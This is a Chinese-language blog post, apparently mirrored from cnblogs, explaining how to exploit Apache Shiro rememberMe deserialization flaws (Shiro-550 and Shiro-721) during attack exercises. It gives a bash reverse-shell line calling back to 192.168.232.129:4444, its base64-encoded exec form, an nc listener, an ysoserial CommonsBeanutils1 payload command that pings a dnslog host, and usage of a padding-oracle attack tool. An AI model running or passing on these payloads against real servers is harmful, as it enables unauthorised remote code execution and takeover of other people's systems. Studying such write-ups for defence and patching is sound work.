zoukankan      html  css  js  c++  java
  • Shiro反序列化利用

    Shiro反序列化利用

    前言:hvv单位这个漏洞挺多的,之前没专门研究打法,特有此篇文章。

    Shiro rememberMe反序列化漏洞(Shiro-550)

    • 漏洞原理

      Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
      那么,Payload产生的过程:
      命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值
      在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。

    • 影响版本

      Apache Shiro < 1.2.4

    • 特征判断

      返回包中包含rememberMe=deleteMe字段。

    • 利用工具

    • 漏洞检测

    • 反弹shell

      注意:执行bash命令时需要对其进行编码

      转码平台:http://www.jackson-t.ca/runtime-exec-payloads.html

      设置监听:nc -lvvp 4444

      原bash命令:bash -i >& /dev/tcp/192.168.232.129/4444 0>&1

      转码后:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMi4xMjkvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}

    Shiro Padding Oracle Attack(Shiro-721)

    • 漏洞原理

      由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。

    • 影响版本

      Apache Shiro < 1.4.2版本

    • 漏洞利用

      登录Shiro网站,从cookie中获得rememberMe字段的值。

      HTTP/1.1 302 Found
      Server: Apache-Coyote/1.1
      Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=Thu, 29-Oct-2020 06:21:41 GMT
      Set-Cookie: rememberMe=nHseK2L1X/khQcAePZT+F1EoLqCfzOvuUEAjmFBqOeGVVnI81f17LPzjPTyIR0Dmho/vYGuFnyrC8qE7PuE+KQ0Ql/LEz/yizxH6jYkJpfLVpkVUDXGAQt1Nh4jB5JlTWUbPmla+4HGJGombOY4TwLdO/SY4T4YOx0689KKJn6qmwnn1BfrT4XjiSTXXTYluLnlaKHOVgLrtOQ6IPP159ydV3P7/gP+lihh+nbif1Mzt8WSksJgV9qb2yfa+9jpdRYO9VN9dM1V5TF3//mGWjDttfnQQeCJKRjXEC4BscUigEpq3rtGQrH4L1uFoNbJM+IjK+goeW3toJoGIeRJ0SMuMDTovOivMOklNyxng9uQs6tzesoVbVLL5maMJwXuKFVaGtGPPuWcMLyUCyaj01PWBd/YSi7ZkWGTNRV8O4FYvcyl72/Qvz5NHzbXk8FQaX+BdHHsWgoIHg5dyM3ErscF1LCYM8y48T7ApwsyHsdZuzQd5A+qHwkg79D/ZQqYd; Path=/; Max-Age=31536000; Expires=Sat, 30-Oct-2021 06:21:41 GMT; HttpOnly
      Location: /
      Content-Length: 0
      Date: Fri, 30 Oct 2020 06:21:41 GMT
      Connection: close
      
    • 利用DNSlog探测,通过ysoserial工具payload。

      java -jar ysoserial-0.0.6-SNAPSHOT-all.jar http://192.168.232.129:8080/ CommonsBeanutils1 "ping l6szkn.dnslog.cn" > payload.class
      
    • 使用rememberMe值作为prefix,加载Payload,进行Padding Oracle攻击。

      github项目地址:https://github.com/longofo/PaddingOracleAttack-Shiro-721

      使用方法:

      java -jar PaddingOracleAttack.jar targetUrl rememberMeCookie blockSize class文件路径
      

      爆破成功:

    • 利用很麻烦,而且这样跑很容易把目标服务器跑出问题或者被ban IP,可以使用上面的工具进行利用比较靠谱。

    参考

    https://cloud.tencent.com/developer/article/1649614 :shiro漏洞检测RCE工具
    https://www.cnblogs.com/xiaozi/p/13239046.html: Shiro反序列化漏洞利用汇总(Shiro-550+Shiro-721)
    https://www.cnblogs.com/yuyan-sec/p/12458806.html: Shiro反序列化漏洞利用

    结语

    之后还会陆续更新Shiro的漏洞,时间待定。

  • 相关阅读:
    mysql 存储过程中的 prepare语句(存储过程中动态增减表字段)
    MYSQL创建分区时候报错
    mysql存储过程调试方法
    磁力块[分块]
    区间最优覆盖问题[差分]
    区间最优覆盖问题[差分]
    导弹防御[差分]
    导弹防御[差分]
    CF10D LCIS[动态规划]
    CF10D LCIS[动态规划]
  • 原文地址:https://www.cnblogs.com/Secde0/p/13895659.html
Copyright © 2011-2022 走看看